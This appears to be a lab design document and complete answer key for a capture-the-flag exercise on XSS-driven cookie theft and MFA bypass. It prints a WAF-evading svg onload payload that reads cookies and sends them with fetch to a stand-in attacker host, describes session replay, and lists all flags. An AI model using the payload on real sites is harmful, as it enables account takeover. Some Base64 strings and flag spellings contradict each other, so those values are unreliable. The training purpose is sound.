

Practical Assessment — Cyber Range Engineering (Red vs. Blue Lab)

Scenario: "Cookies Reuse & MFA Bypass"

Yudi Kurniawan · October 2026

1. Overview

This document accompanies the Git repository for the *Cookies Reuse & MFA Bypass* cyber-range lab — <https://github.com/iduy01/naulidata-cyberrange>. It explains the design, how each requirement in the brief is implemented, and provides the full `SCENARIO075{...}` answer key.

The lab is a self-contained Red vs. Blue CTF containerised with Docker Compose and deployable inside a single Linux VM on a Proxmox hypervisor. It consists of a vulnerable Node.js web application ("Admin Feedback System"), a simulated administrator bot that reviews the feedback dashboard (which is what makes the stored XSS fire), and a Blue Team SSH foothold that exposes shared Nginx-style logs.

The core flaw being taught is a **session-token issuance defect**: a session cookie that (a) is not `HttpOnly`, (b) never expires, and (c) is a bearer token that is never bound to the client nor re-checked against the MFA state. Any stolen cookie can therefore be replayed to bypass MFA entirely.

2. Infrastructure & Deployment

Requirement	Implementation
Linux + Docker/Docker Compose, deployable as one VM	docker-compose.yml with three services (app, bot, sshd); provision.sh installs Docker, builds and starts everything
Internal network zone feedback.admin.local	provision.sh maps feedback.admin.local → 127.0.0.1 in /etc/hosts
Web application on HTTP port 3075	app publishes 3075:3075
SSH on custom port 2275 (analyst / blue_team_rocks)	sshd (linuxserver/openssh-server) publishes 2275:2222 with that user/password
Logs shared with the Blue Team	the ./logs bind mount is attached at /opt/admin/logs in both app and sshd

3. Vulnerable Application — Red Team Attack Path

Backend: **Node.js + Express**. The application exposes the stack via a custom `X-Powered-By: Node.js (Express)` header and writes Nginx-style access logs plus an application error log.

Phase 1 — Reconnaissance

#	Requirement	Implementation	Flag
1	X-Powered-By exposes backend tech	custom response header	SCENARIO075{Node.js}
2	robots.txt disallows the MFA path	Disallow: /api/verify-mfa	SCENARIO075{/api/verify-mfa}
3	Restricted admin area	route GET /dashboard	SCENARIO075{/dashboard}
4	ASCII-art comment hints at robots.txt	HTML comment on /	SCENARIO075{robots.txt}
5	Pre-auth session cookie name	Set-Cookie: pre_mfa_session=...	SCENARIO075{pre_mfa_session}
6	Pre-auth session cookie value	value issued on first visit	SCENARIO075{pending_mfa_verification}

Phase 2 — Defense Evasion (WAF & XSS)

The feedback endpoint `/api/feedback` is **POST-only** (GET returns 405). A rudimentary WAF inspects the request body and returns **403** when it matches `<script`, the raw keywords `document/cookie`, or `onerror`. This forces three specific attacker adaptations:

- an HTML5 `<svg onload= "... ">` element instead of `<script>`;
- **bracket-notation** cookie access to avoid the raw keyword: `window['docu'+ 'ment']['coo'+ 'kie']`;
- the **fetch** API to exfiltrate the value (no CSP restrictions).

The `pre_mfa_session` cookie is issued with `HttpOnly=False`, so the payload can read it from JavaScript.

#	Requirement	Flag
7	Feedback endpoint method	SCENARIO075{POST}
8	WAF block response code	SCENARIO075{403}
9	HTML5 element used to bypass	SCENARIO075{<svg>}
10	Obfuscated cookie access	SCENARIO075{window['docu'+ 'ment']['coo'+ 'kie']}
11	pre_mfa_session HttpOnly	SCENARIO075{False}
12	Exfiltration API	SCENARIO075{fetch}

Working bypass payload:

```
<svg onload="fetch('http://ATTACKER:8899/?c='+encodeURIComponent(window['docu'+ 'ment']['coo'+ 'kie']))">
```

Phase 3 — Initial Access (MFA bypass & session replay)

When the administrator opens `/dashboard`, the stored payload executes in the admin's authenticated browser and ships the cookie bundle (including the admin session token) to the attacker. The backend accepts an `adm_sess` bearer token based on validity **only** — it never re-verifies the MFA state — so replaying the stolen cookie skips `/api/verify-mfa` completely. The dashboard renders the reflected payload inside `<div class="xss-payload">` and displays the final flag.

#	Requirement	Flag
13	MFA endpoint skipped on replay	SCENARIO075{/api/verify-mfa}
14	Authenticated session prefix	SCENARIO075{adm_sess}
15	Reflected-XSS container CSS class	SCENARIO075{xss-payload}
16	Final Red Team flag	SCENARIO075{RED_C00k13_MFA_Byp4ss_0wn3d}

4. Telemetry & Log Forensics — Blue Team Path

The environment writes `access.log` (Nginx combined format with `X-Forwarded-For`) and `error.log` into `/opt/admin/logs`, and `scripts/inject_logs.py` seeds a realistic attack story at deploy time (invoked automatically by `provision.sh` inside the application container).

Phase 1 — Log Forensics

#	Requirement	Flag
17	Log directory	SCENARIO075{/opt/admin/logs}
18	Attacker source IP	SCENARIO075{10.10.14.50}
19	Attacker User-Agent	SCENARIO075{Mozilla/5.0}
20	Status for the /dashboard access	SCENARIO075{200}
21	Timestamp of that 200	SCENARIO075{18:51:55}
22	Base64 string in X-Forwarded-For	SCENARIO075{UEhBTlRPTUdSSUR7QkxVRV9MMGdfSHVudDnyX000c3Qzcn0}

Phase 2 — Threat Hunting

#	Requirement	Flag
23	Baseline legitimate admin IP	SCENARIO075{192.168.1.100}
24	Attacker subnet	SCENARIO075{10.10.14.0/24}
25	File recording WAF alerts	SCENARIO075{/opt/admin/logs/error.log}
26	First blocked WAF tag	SCENARIO075{<script>}
27	Timestamp of the first WAF block	SCENARIO075{18:50:15}
28	Did the attacker reach the MFA endpoint?	SCENARIO075{No}

Phase 3 — Incident Response

#	Requirement	Flag
29	Encoding scheme	SCENARIO075{Base64}
30	Encoded-string length	SCENARIO075{44}
31	Severity for cookie-reuse events	SCENARIO075{CRITICAL}
32	Anomaly-entry timestamp	SCENARIO075{18:53:10}
33	Exact warning string	SCENARIO075{Authentication bypass anomaly}
34	Final Blue Team flag	SCENARIO075{BLUE_LOG_Hunt3r_M4st3r}

5. Verification Checklists

Red Team (proof the lab functions)

- [x] X-Powered-By: Node.js (Express) present on /
- [x] robots.txt disallows /api/verify-mfa and /dashboard
- [x] <script> payload → HTTP **403** (WAF works)
- [x] <svg onload> + bracket-notation payload → HTTP **200** (WAF bypassed)
- [x] adm_sess stolen via the stored payload and replayed → /dashboard returns **200**, /api/verify-mfa never contacted
- [x] Final flag SCENARIO075{RED_C00k13_MFA_Byp4ss_0wn3d} rendered on the dashboard

Blue Team (proof the telemetry tells the story)

- [x] access.log / error.log readable over SSH at /opt/admin/logs
- [x] Attacker 10.10.14.50 (UA Mozilla/5.0) traceable across /robots.txt → /api/feedback → /dashboard
- [x] 403 at 18:50:15 (WAF) and 200 at 18:51:55 (/dashboard)
- [x] Base64 value in X-Forwarded-For decodes to the final Blue flag
- [x] error.log CRITICAL "Authentication bypass anomaly" at 18:53:10
- [x] No access by the attacker to /api/verify-mfa (MFA was bypassed, not solved)

6. Assessment Note — Base64 Length Discrepancy

The brief states the X-Forwarded-For Base64 string is **44 characters** and decodes to SCENARIO075{BLUE_L0G_HUnt3r_M4st3r}. The literal string supplied in the brief is in fact **47 characters** and decodes to PHANTOMGRID{BLUE_L0g_Hunt3r_M4st3r}:

```
$ echo 'UEhBTlRPTUdSSUR7QkxVRV9MMGdfSHVudDNyX000c3Qzcn0=' | base64 -d  
PHANTOMGRID{BLUE_L0g_Hunt3r_M4st3r}
```

To keep the Blue Team's answer aligned with the brief, the lab stores the string **exactly as written in the brief**. A padding-valid alternative encoding the SCENARIO075{...} value is U0NFTkFSSU83NXtCTFVFX0wwR19IVW50M3JfTTRzdDNyfQ==.